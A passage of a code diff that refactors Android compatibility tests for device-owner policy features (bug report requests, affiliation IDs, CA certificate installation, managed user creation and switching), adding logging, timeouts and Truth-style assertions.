         // This test leaves a notification which will block future tests that request bug reports
         // to fix this - we dismiss the bug report before returning
-        CountDownLatch notificationDismissedLatch = null;
-        if (!activityManager.isLowRamDevice()) {
-            // On low ram devices we should reboot the phone after the test
-            notificationDismissedLatch = initTestRequestBugreport();
-        }
+        CountDownLatch notificationDismissedLatch = initTestRequestBugreport();
 
-        Thread.sleep(1);
+        sleep(1);
         final long previousTimestamp = mDevicePolicyManager.getLastBugReportRequestTime();
 
         final long timeBefore = System.currentTimeMillis();
@@ -126,19 +107,15 @@
         final long timeAfter = System.currentTimeMillis();
 
         final long newTimestamp = mDevicePolicyManager.getLastBugReportRequestTime();
-        assertTrue(newTimestamp > previousTimestamp);
-        assertTrue(newTimestamp >= timeBefore);
-        assertTrue(newTimestamp <= timeAfter);
+        assertTimeStamps(timeBefore, previousTimestamp, newTimestamp, timeAfter);
 
-        if (!activityManager.isLowRamDevice()) {
-            // On low ram devices we should reboot the phone after the test
-            cleanupTestRequestBugreport(notificationDismissedLatch);
-        }
+        cleanupTestRequestBugreport(notificationDismissedLatch);
     }
 
     private CountDownLatch initTestRequestBugreport() {
         CountDownLatch notificationDismissedLatch = new CountDownLatch(1);
         NotificationListener.getInstance().addListener((sbt) -> {
+            Log.i(TAG, "Received notification: " + sbt);
             // The notification we are looking for is the one which confirms the bug report is
             // ready and asks for consent to send it
             if (sbt.getPackageName().equals("android") &&
@@ -149,7 +126,9 @@
                     sbt.getNotification().actions[0].actionIntent.send();
                     notificationDismissedLatch.countDown();
                 } catch (PendingIntent.CanceledException e) {
-                    fail("Could not dismiss bug report notification");
+                    String msg = "Could not dismiss bug report notification";
+                    Log.e(TAG, msg, e);
+                    fail(msg);
                 }
             }
         });
@@ -158,7 +137,13 @@
 
     private void cleanupTestRequestBugreport(CountDownLatch notificationDismissedLatch)
             throws Exception {
-        notificationDismissedLatch.await();
+        Log.d(TAG, "Waiting " + NOTIFICATION_TIMEOUT_MS + "ms for bugreport notification");
+        if (!notificationDismissedLatch.await(NOTIFICATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            String msg = "Didn't receive bugreport notification in " + NOTIFICATION_TIMEOUT_MS
+                    + " ms";
+            Log.e(TAG, msg);
+            fail(msg);
+        }
         NotificationListener.getInstance().clearListeners();
     }
 
@@ -166,7 +151,9 @@
      * Test: Retrieving network logs should update the corresponding timestamp.
      */
     public void testGetLastNetworkLogRetrievalTime() throws Exception {
-        Thread.sleep(1);
+        Log.i(TAG, "testGetLastNetworkLogRetrievalTime()");
+
+        sleep(1);
         final long previousTimestamp = mDevicePolicyManager.getLastSecurityLogRetrievalTime();
 
         mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
@@ -176,9 +163,7 @@
         long timeAfter = System.currentTimeMillis();
 
         final long newTimestamp = mDevicePolicyManager.getLastNetworkLogRetrievalTime();
-        assertTrue(newTimestamp > previousTimestamp);
-        assertTrue(newTimestamp >= timeBefore);
-        assertTrue(newTimestamp <= timeAfter);
+        assertTimeStamps(timeBefore, previousTimestamp, newTimestamp, timeAfter);
     }
 
     /**
@@ -186,59 +171,76 @@
      * managing the device.
      */
     public void testDeviceOwnerOrganizationName() throws Exception {
+        Log.i(TAG, "testDeviceOwnerOrganizationName()");
+
         mDevicePolicyManager.setOrganizationName(getWho(), null);
-        assertNull(mDevicePolicyManager.getDeviceOwnerOrganizationName());
+        assertWithMessage("dpm.getDeviceOwnerOrganizationName()")
+                .that(mDevicePolicyManager.getDeviceOwnerOrganizationName()).isNull();
 
         mDevicePolicyManager.setOrganizationName(getWho(), "organization");
-        assertEquals("organization", mDevicePolicyManager.getDeviceOwnerOrganizationName());
+        assertWithMessage("dpm.getDeviceOwnerOrganizationName()")
+                .that(mDevicePolicyManager.getDeviceOwnerOrganizationName())
+                .isEqualTo("organization");
 
         mDevicePolicyManager.setOrganizationName(getWho(), null);
-        assertNull(mDevicePolicyManager.getDeviceOwnerOrganizationName());
+        assertWithMessage("dpm.getDeviceOwnerOrganizationName()")
+                .that(mDevicePolicyManager.getDeviceOwnerOrganizationName()).isNull();
     }
 
     /**
      * Test: When a Device Owner is set, isDeviceManaged() should return true.
      */
     public void testIsDeviceManaged() throws Exception {
-        assertTrue(mDevicePolicyManager.isDeviceManaged());
+        Log.i(TAG, "testIsDeviceManaged()");
+
+        assertWithMessage("dpm.isDeviceManaged()").that(mDevicePolicyManager.isDeviceManaged())
+                .isTrue();
     }
 
     /**
      * Test: It should be recored whether the Device Owner or the user set the current IME.
      */
     public void testIsDefaultInputMethodSet() throws Exception {
-        final String setting = Settings.Secure.DEFAULT_INPUT_METHOD;
-        final ContentResolver resolver = getContext().getContentResolver();
-        final String ime = Settings.Secure.getString(resolver, setting);
+        Log.i(TAG, "testIsDefaultInputMethodSet()");
 
-        Settings.Secure.putString(resolver, setting, "com.test.1");
-        Thread.sleep(500);
-        assertFalse(mDevicePolicyManager.isCurrentInputMethodSetByOwner());
+        final String setting = Settings.Secure.DEFAULT_INPUT_METHOD;
+        final String ime = getSecureSettings(setting);
+
+        setSecureSettings(setting, "com.test.1");
+        sleep(500);
+        assertWithMessage("dpm.isCurrentInputMethodSetByOwner()")
+                .that(mDevicePolicyManager.isCurrentInputMethodSetByOwner()).isFalse();
 
         mDevicePolicyManager.setSecureSetting(getWho(), setting, "com.test.2");
-        Thread.sleep(500);
-        assertTrue(mDevicePolicyManager.isCurrentInputMethodSetByOwner());
+        sleep(500);
+        assertWithMessage("%s.isCurrentInputMethodSetByOwner()", mDevicePolicyManager)
+                .that(mDevicePolicyManager.isCurrentInputMethodSetByOwner()).isTrue();
 
-        Settings.Secure.putString(resolver, setting, ime);
-        Thread.sleep(500);
-        assertFalse(mDevicePolicyManager.isCurrentInputMethodSetByOwner());
+        setSecureSettings(setting, ime);
+        sleep(500);
+        assertWithMessage("%s.isCurrentInputMethodSetByOwner()", mDevicePolicyManager)
+                .that(mDevicePolicyManager.isCurrentInputMethodSetByOwner()).isFalse();
     }
 
     /**
      * Test: It should be recored whether the Device Owner or the user installed a CA cert.
      */
     public void testGetPolicyInstalledCaCerts() throws Exception {
-        final byte[] rawCert = TEST_CA.getBytes();
+        Log.i(TAG, "testGetPolicyInstalledCaCerts()");
+
+        final byte[] rawCert = TestCertificates.TEST_CA.getBytes();
         final Certificate cert = CertificateFactory.getInstance("X.509")
                 .generateCertificate(new ByteArrayInputStream(rawCert));
 
         // Install a CA cert.
         KeyStore keyStore = KeyStore.getInstance("AndroidCAStore");
         keyStore.load(null, null);
-        assertNull(keyStore.getCertificateAlias(cert));
-        assertTrue(mDevicePolicyManager.installCaCert(getWho(), rawCert));
+        assertWithMessage("keystore.getCertificateAlias()").that(keyStore.getCertificateAlias(cert))
+                .isNull();
+        assertWithMessage("dpm.installCaCert()")
+                .that(mDevicePolicyManager.installCaCert(getWho(), rawCert)).isTrue();
         final String alias = keyStore.getCertificateAlias(cert);
-        assertNotNull(alias);
+        assertWithMessage("keystore.getCertificateAlias()").that(alias).isNotNull();
 
         // Verify that the CA cert was marked as installed by the Device Owner.
         verifyOwnerInstalledStatus(alias, true);
@@ -251,9 +253,44 @@
     }
 
     private void verifyOwnerInstalledStatus(String alias, boolean expectOwnerInstalled) {
+        final UserHandle user = Process.myUserHandle();
         final List<String> ownerInstalledCerts =
-                mDevicePolicyManager.getOwnerInstalledCaCerts(Process.myUserHandle());
-        assertNotNull(ownerInstalledCerts);
-        assertEquals(expectOwnerInstalled, ownerInstalledCerts.contains(alias));
+                mDevicePolicyManager.getOwnerInstalledCaCerts(user);
+        assertWithMessage("dpm.getOwnerInstalledCaCerts(%s)", user).that(ownerInstalledCerts)
+                .isNotNull();
+        if (expectOwnerInstalled) {
+            assertWithMessage("dpm.getOwnerInstalledCaCerts(%s)", user).that(ownerInstalledCerts)
+                    .contains(alias);
+        } else {
+            assertWithMessage("dpm.getOwnerInstalledCaCerts(%s)", user).that(ownerInstalledCerts)
+                    .doesNotContain(alias);
+        }
+    }
+
+    private void sleep(int durationMs) throws InterruptedException {
+        Log.v(TAG, "Sleeping for " + durationMs + " ms on thread " + Thread.currentThread());
+        Thread.sleep(durationMs);
+        Log.v(TAG, "Woke up");
+    }
+
+    private void assertTimeStamps(long before, long timeStamp1, long timeStamp2, long after) {
+        assertWithMessage("first and second timestamp order").that(timeStamp2)
+                .isGreaterThan(timeStamp1);
+        assertWithMessage("second timestamp range").that(timeStamp2)
+                .isIn(Range.closed(before, after));
+    }
+
+    private void setSecureSettings(String name, String value) {
+        final ContentResolver resolver = getContext().getContentResolver();
+        Log.d(TAG, "Setting '" + name + "'='" + value + "' on user " + getContext().getUserId());
+        Settings.Secure.putString(resolver, name , value);
+        Log.v(TAG, "Set");
+    }
+
+    private String getSecureSettings(String name) {
+        final ContentResolver resolver = getContext().getContentResolver();
+        String value = Settings.Secure.getString(resolver, name);
+        Log.d(TAG, "Got '" + name + "' for user " + getContext().getUserId() + ": " + value);
+        return value;
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
index 2424c46..c93fc4e 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
@@ -16,12 +16,15 @@
 
 package com.android.cts.deviceowner;
 
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.fail;
+import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assert.fail;
+
+import android.annotation.UserIdInt;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
+import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -34,22 +37,29 @@
 import java.util.Set;
 
 @RunWith(AndroidJUnit4.class)
-public class AffiliationTest {
+public final class AffiliationTest {
+
+    private static final String TAG = AffiliationTest.class.getSimpleName();
 
     private DevicePolicyManager mDevicePolicyManager;
     private ComponentName mAdminComponent;
 
+
+    private @UserIdInt int mUserId;
+
     @Before
     public void setUp() {
         Context context = InstrumentationRegistry.getContext();
-        mDevicePolicyManager = (DevicePolicyManager)
-                context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        mUserId = context.getUserId();
+        mDevicePolicyManager = context.getSystemService(DevicePolicyManager.class);
         mAdminComponent = BasicAdminReceiver.getComponentName(context);
+        Log.d(TAG, "setUp(): userId=" + mUserId + ", admin=" + mAdminComponent);
     }
 
     @Test
-    public void testSetAffiliationId_null() {
+    public void testSetAffiliationId_null() throws Exception {
         try {
+            Log.d(TAG, "setAffiliationIds(null)");
             mDevicePolicyManager.setAffiliationIds(mAdminComponent, null);
             fail("Should throw IllegalArgumentException");
         } catch (IllegalArgumentException ex) {
@@ -58,8 +68,9 @@
     }
 
     @Test
-    public void testSetAffiliationId_containsEmptyString() {
+    public void testSetAffiliationId_containsEmptyString() throws Exception {
         try {
+            Log.d(TAG, "setAffiliationIds(empty)");
             mDevicePolicyManager.setAffiliationIds(mAdminComponent, Collections.singleton(null));
             fail("Should throw IllegalArgumentException");
         } catch (IllegalArgumentException ex) {
@@ -68,17 +79,26 @@
     }
 
     @Test
-    public void testSetAffiliationId1() {
+    public void testSetAffiliationId1() throws Exception {
         setAffiliationIds(Collections.singleton("id.number.1"));
     }
 
     @Test
-    public void testSetAffiliationId2() {
+    public void testSetAffiliationId2() throws Exception {
         setAffiliationIds(Collections.singleton("id.number.2"));
     }
 
-    private void setAffiliationIds(Set<String> ids) {
-        mDevicePolicyManager.setAffiliationIds(mAdminComponent, ids);
-        assertEquals(ids, mDevicePolicyManager.getAffiliationIds(mAdminComponent));
+    private void setAffiliationIds(Set<String> ids) throws Exception {
+        try {
+            Log.d(TAG, "setAffiliationIds(" + ids + ") on user " + mUserId);
+            mDevicePolicyManager.setAffiliationIds(mAdminComponent, ids);
+            Set<String> setIds = mDevicePolicyManager.getAffiliationIds(mAdminComponent);
+            Log.d(TAG, "getAffiliationIds(): " + setIds);
+            assertWithMessage("affiliationIds on user %s", mUserId).that(setIds)
+                    .containsExactlyElementsIn(ids);
+        } catch (Exception e) {
+            Log.e(TAG, "Failed to set affiliation ids (" + ids + ")", e);
+            throw e;
+        }
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseAffiliatedProfileOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseAffiliatedProfileOwnerTest.java
index 9490eff..cbf82cc 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseAffiliatedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseAffiliatedProfileOwnerTest.java
@@ -19,6 +19,12 @@
 import android.content.ComponentName;
 import android.test.AndroidTestCase;
 
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
+
+// TODO (b/174859111): evaluate and refactor dependency on this class to have only
+// affiliated profile-owner based tests depends on this class. Tests for Device Owner only,
+// e.g. PackageInstallTest should not depend on this class. Otherwise, tests can easily break
+// in multi-user setup.
 /**
  * Base class for affiliated profile-owner based tests.
  *
@@ -33,8 +39,10 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-
-        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        // In headless system user mode, affiliated PO is set on seceondary when DO is setup on
+        // user 0. Therefore, this test will run on user 0.
+        mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
+                BasicAdminReceiver.class);
         assertDeviceOrAffiliatedProfileOwner();
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 2f48dce..7c565db 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -15,15 +15,23 @@
  */
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.UserIdInt;
+import android.app.ActivityManager;
 import android.app.Instrumentation;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.pm.PackageManager;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
+
 /**
  * Base class for device-owner based tests.
  *
@@ -38,6 +46,9 @@
     protected Instrumentation mInstrumentation;
     protected UiDevice mDevice;
     protected boolean mHasSecureLockScreen;
+    protected boolean mHasTelephonyFeature;
+    /** User running the test (obtained from {@code mContext}). */
+    protected @UserIdInt int mUserId;
 
     @Override
     protected void setUp() throws Exception {
@@ -45,17 +56,30 @@
 
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mDevice = UiDevice.getInstance(mInstrumentation);
-        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
+                BasicAdminReceiver.class);
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        mHasTelephonyFeature = mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY);
+        mUserId = mContext.getUserId();
+
         assertDeviceOwner();
     }
 
     private void assertDeviceOwner() {
-        assertNotNull(mDevicePolicyManager);
-        assertTrue(mDevicePolicyManager.isAdminActive(getWho()));
-        assertTrue(mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName()));
-        assertFalse(mDevicePolicyManager.isManagedProfile(getWho()));
+        int myUserId = UserHandle.myUserId();
+        assertWithMessage("DPM for user %s", myUserId).that(mDevicePolicyManager).isNotNull();
+
+        ComponentName admin = getWho();
+        assertWithMessage("Component %s is admin for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isAdminActive(admin)).isTrue();
+
+        String pkgName = mContext.getPackageName();
+        assertWithMessage("Component %s is device owner for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isDeviceOwnerApp(pkgName)).isTrue();
+        assertWithMessage("Component %s is profile owner for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isManagedProfile(admin)).isFalse();
     }
 
     protected ComponentName getWho() {
@@ -65,4 +89,12 @@
     protected String executeShellCommand(String... command) throws Exception {
         return mDevice.executeShellCommand(String.join(" ", command));
     }
+
+    protected static boolean isHeadlessSystemUserMode() {
+        return UserManager.isHeadlessSystemUserMode();
+    }
+
+    protected UserHandle getCurrentUser() {
+        return UserHandle.of(ActivityManager.getCurrentUser());
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
index 37b3ed7..37e670e 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
@@ -20,10 +20,18 @@
 import android.content.Context;
 import android.content.Intent;
 import android.os.UserHandle;
+import android.util.Log;
+
 import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 
+import com.android.bedstead.dpmwrapper.DeviceOwnerHelper;
+import com.android.cts.devicepolicy.OperationSafetyChangedCallback;
+import com.android.cts.devicepolicy.OperationSafetyChangedEvent;
+
 public class BasicAdminReceiver extends DeviceAdminReceiver {
 
+    private static final String TAG = BasicAdminReceiver.class.getSimpleName();
+
     final static String ACTION_USER_ADDED = "com.android.cts.deviceowner.action.USER_ADDED";
     final static String ACTION_USER_REMOVED = "com.android.cts.deviceowner.action.USER_REMOVED";
     final static String ACTION_USER_STARTED = "com.android.cts.deviceowner.action.USER_STARTED";
@@ -40,49 +48,68 @@
     }
 
     @Override
+    public void onReceive(Context context, Intent intent) {
+        if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
+
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(userId=" + context.getUserId() + "): " + action);
+        super.onReceive(context, intent);
+    }
+
+    @Override
     public void onUserAdded(Context context, Intent intent, UserHandle userHandle) {
-        super.onUserAdded(context, intent, userHandle);
         sendUserBroadcast(context, ACTION_USER_ADDED, userHandle);
     }
 
     @Override
     public void onUserRemoved(Context context, Intent intent, UserHandle userHandle) {
-        super.onUserRemoved(context, intent, userHandle);
         sendUserBroadcast(context, ACTION_USER_REMOVED, userHandle);
     }
 
     @Override
     public void onUserStarted(Context context, Intent intent, UserHandle userHandle) {
-        super.onUserStarted(context, intent, userHandle);
         sendUserBroadcast(context, ACTION_USER_STARTED, userHandle);
     }
 
     @Override
     public void onUserStopped(Context context, Intent intent, UserHandle userHandle) {
-        super.onUserStopped(context, intent, userHandle);
         sendUserBroadcast(context, ACTION_USER_STOPPED, userHandle);
     }
 
     @Override
     public void onUserSwitched(Context context, Intent intent, UserHandle userHandle) {
-        super.onUserSwitched(context, intent, userHandle);
         sendUserBroadcast(context, ACTION_USER_SWITCHED, userHandle);
     }
 
     @Override
     public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
             int networkLogsCount) {
+        Log.d(TAG, "onNetworkLogsAvailable() on user " + context.getUserId()
+                + ": token=" + batchToken + ", count=" + networkLogsCount);
         super.onNetworkLogsAvailable(context, intent, batchToken, networkLogsCount);
         // send the broadcast, the rest of the test happens in NetworkLoggingTest
         Intent batchIntent = new Intent(ACTION_NETWORK_LOGS_AVAILABLE);
         batchIntent.putExtra(EXTRA_NETWORK_LOGS_BATCH_TOKEN, batchToken);
-        LocalBroadcastManager.getInstance(context).sendBroadcast(batchIntent);
+
+        DeviceOwnerHelper.sendBroadcastToTestCaseReceiver(context, batchIntent);
     }
 
-    private void sendUserBroadcast(Context context, String action,
-            UserHandle userHandle) {
-        Intent intent = new Intent(action);
-        intent.putExtra(EXTRA_USER_HANDLE, userHandle);
+    @Override
+    public void onOperationSafetyStateChanged(Context context, int reason, boolean isSafe) {
+        OperationSafetyChangedEvent event = new OperationSafetyChangedEvent(reason, isSafe);
+        Log.d(TAG, "onOperationSafetyStateChanged() on user " + context.getUserId() + ": " + event);
+
+        Intent intent = OperationSafetyChangedCallback.intentFor(event);
+
+        DeviceOwnerHelper.sendBroadcastToTestCaseReceiver(context, intent);
+    }
+
+    private void sendUserBroadcast(Context context, String action, UserHandle userHandle) {
+        Log.d(TAG, "sendUserBroadcast(): action=" + action + ", user=" + userHandle);
+        Intent intent = new Intent(action).putExtra(EXTRA_USER_HANDLE, userHandle);
+
+        // NOTE: broadcast locally as user-related tests on headless system user always run on
+        // system user, as current user is stopped on switch.
         LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 136da5d..8644c09 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -16,14 +16,17 @@
 
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.ActivityManager;
 import android.app.Service;
 import android.app.admin.DeviceAdminReceiver;
 import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
 import android.os.IBinder;
@@ -32,16 +35,17 @@
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+import android.util.DebugUtils;
 import android.util.Log;
 
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.Collections;
+import java.util.HashSet;
+import java.util.Iterator;
 import java.util.List;
 import java.util.Set;
 import java.util.concurrent.Semaphore;
-import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Predicate;
 import java.util.stream.Collectors;
@@ -56,292 +60,166 @@
 
     private static final String AFFILIATION_ID = "affiliation.id";
     private static final String EXTRA_AFFILIATION_ID = "affiliationIdExtra";
+    private static final String EXTRA_CURRENT_USER_PACKAGES = "currentUserPackages";
     private static final String EXTRA_METHOD_NAME = "methodName";
     private static final long ON_ENABLED_TIMEOUT_SECONDS = 120;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @Override
     protected void tearDown() throws Exception {
         mDevicePolicyManager.clearUserRestriction(getWho(), UserManager.DISALLOW_ADD_USER);
         mDevicePolicyManager.clearUserRestriction(getWho(), UserManager.DISALLOW_REMOVE_USER);
         super.tearDown();
     }
 
-    public void testCreateAndManageUser() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+    public void testCreateAndManageUser() throws Exception {
+        UserHandle userHandle = createAndManageUser();
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
+        assertWithMessage("New user").that(userHandle).isNotNull();
     }
 
-    public void testCreateAndManageUser_LowStorage() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+    public void testCreateAndManageUser_LowStorage() throws Exception {
+        UserManager.UserOperationException e = expectThrows(
+                UserManager.UserOperationException.class, () -> createAndManageUser());
 
-        try {
-            mDevicePolicyManager.createAndManageUser(
-                    getWho(),
-                    testUserName,
-                    getWho(),
-                    null,
-                /* flags */ 0);
-            fail("createAndManageUser should throw UserOperationException");
-        } catch (UserManager.UserOperationException e) {
-            assertEquals(UserManager.USER_OPERATION_ERROR_LOW_STORAGE, e.getUserOperationResult());
-        }
+        assertUserOperationResult(e.getUserOperationResult(),
+                UserManager.USER_OPERATION_ERROR_LOW_STORAGE,
+                "user creation on low storage");
     }
 
-    public void testCreateAndManageUser_MaxUsers() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+    public void testCreateAndManageUser_MaxUsers() throws Exception {
+        UserManager.UserOperationException e = expectThrows(
+                UserManager.UserOperationException.class, () -> createAndManageUser());
 
-        try {
-            mDevicePolicyManager.createAndManageUser(
-                    getWho(),
-                    testUserName,
-                    getWho(),
-                    null,
-                /* flags */ 0);
-            fail("createAndManageUser should throw UserOperationException");
-        } catch (UserManager.UserOperationException e) {
-            assertEquals(UserManager.USER_OPERATION_ERROR_MAX_USERS, e.getUserOperationResult());
-        }
+        assertUserOperationResult(e.getUserOperationResult(),
+                UserManager.USER_OPERATION_ERROR_MAX_USERS,
+                "user creation when max users is reached");
     }
 
     @SuppressWarnings("unused")
     private static void assertSkipSetupWizard(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) throws Exception {
-        assertEquals("user setup not completed", 1,
-                Settings.Secure.getInt(context.getContentResolver(),
-                        Settings.Secure.USER_SETUP_COMPLETE));
+        assertWithMessage("user setup settings (%s)", Settings.Secure.USER_SETUP_COMPLETE)
+                .that(Settings.Secure.getInt(context.getContentResolver(),
+                        Settings.Secure.USER_SETUP_COMPLETE))
+                .isEqualTo(1);
     }
 
     public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
         runCrossUserVerification(DevicePolicyManager.SKIP_SETUP_WIZARD, "assertSkipSetupWizard");
+
         PrimaryUserService.assertCrossUserCallArrived();
     }
 
-    public void testCreateAndManageUser_GetSecondaryUsers() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
-
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
+    public void testCreateAndManageUser_GetSecondaryUsers() throws Exception {
+        UserHandle newUserHandle = createAndManageUser();
 
         List<UserHandle> secondaryUsers = mDevicePolicyManager.getSecondaryUsers(getWho());
-        assertEquals(1, secondaryUsers.size());
-        assertEquals(userHandle, secondaryUsers.get(0));
+        if (isHeadlessSystemUserMode()) {
+            assertWithMessage("secondary users").that(secondaryUsers)
+                .containsExactly(getCurrentUser(), newUserHandle);
+        } else {
+            assertWithMessage("secondary users").that(secondaryUsers)
+                    .containsExactly(newUserHandle);
+        }
     }
 
     public void testCreateAndManageUser_SwitchUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserHandle userHandle = createAndManageUser();
 
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+        List<UserHandle> usersOnBroadcasts = switchUserAndWaitForBroadcasts(userHandle);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
-
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_SWITCHED));
-        try {
-            assertTrue(mDevicePolicyManager.switchUser(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        assertWithMessage("user on broadcasts").that(usersOnBroadcasts).containsExactly(userHandle,
+                userHandle);
     }
 
     public void testCreateAndManageUser_CannotStopCurrentUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserHandle userHandle = createAndManageUser();
 
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+        switchUserAndWaitForBroadcasts(userHandle);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
-
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_SWITCHED));
-        try {
-            assertTrue(mDevicePolicyManager.switchUser(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-            assertEquals(UserManager.USER_OPERATION_ERROR_CURRENT_USER,
-                    mDevicePolicyManager.stopUser(getWho(), userHandle));
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        stopUserAndCheckResult(userHandle, UserManager.USER_OPERATION_ERROR_CURRENT_USER);
     }
 
     public void testCreateAndManageUser_StartInBackground() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserHandle userHandle = createAndManageUser();
 
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+        List<UserHandle> usersOnBroadcasts = startUserInBackgroundAndWaitForBroadcasts(userHandle);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
